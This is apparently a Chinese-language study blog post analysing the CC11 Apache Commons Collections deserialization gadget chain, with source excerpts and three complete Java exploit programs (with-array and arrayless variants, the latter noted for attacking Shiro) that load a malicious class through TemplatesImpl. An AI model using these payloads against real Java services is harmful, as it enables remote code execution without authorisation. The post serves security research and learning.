CC11链

CC11

分析完CC1-7,继续分析一下CC11,CC11使用字节码加载,它其实是CC2+CC6的组合变形
  • 漏洞版本:cc组件3.1-3.2.1

这里我把CC链子的流程图放上来,实际根据CC1-7,可以衍生出来很多CCN

CC11攻击链分析

有数组攻击链

恶意类加载

CC2链流程
1
2
3
4
5
6
7
8
9
10
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

CC11的前半段和CC2的前半段是一样的

只需要调用templates的newTransformer方法的话,就可以实现恶意类的加载(这里的流程我们就不分析了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");


Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

后半部分

调用newTransformer
CC6链流程
1
2
3
4
5
6
7
8
9
10
11
/*
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
*/

这里就使用CC6的后半段代码,利用TiedMapEntryhashCode方法,一步一步调用到InvokerTransformer,利用它来执行newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);

lazymap.put(tiedMapEntry,null);
lazymap.remove(null);

感觉CC6这里没有很熟练,将流程再分析一下

调用chainedTransformer.transformer

调用transformer方法,这里用LazyMap.get去触发

get方法中可以发现factory.transform的factory是可以在构造函数中赋值的,因此对于我们是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
//构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
调用get方法

这里使用TiedMapEntrygetValue方法,我们可以从构造方法中看到map和key都是可控的

1
2
3
4
5
6
7
8
9
public Object getValue() {
return map.get(key);
}
//构造方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
调用getValue

getValue方法,我们可以从本类的hashCode方法中找到调用

且该方法我们想到可以使用HashMap作为入口,这里HashMap入口调用hashCode不在赘述

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

EXP编写

这里我们的EXP就已经写完了,但是我们发现在put时,就已经触发了计算器,是因为在put时也会触发其hashCode方法我们也和CC6一样,先改为无用的东西,后面通过反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove("xxx");

// serialize(expMap);
unserialize("ser.bin");

通过修改以后,我们的代码就可以成功序列化,并在反序列化执行恶意类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove("xxx");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

// serialize(expMap);
unserialize("ser.bin");

}

无数组攻击链

无数组的CC11攻击链常用于攻击shiro时使用

无数组相比于有数组的差异,只在调用InvokerTransformer.transform(templates)时,传入templates参数的地方有一些差异

有数组攻击链,利用ChainedTransformer的递归调用,和ConstantTransformer的指定返回类来传参

而无数组的攻击链,参数是从getValue调用LazyMapget方法时传入的

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object getValue() {
return map.get(key);
}
//LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

因此我们只需要做一些简单的替换即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove(templates);

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);

// serialize(expMap);
unserialize("ser.bin");

}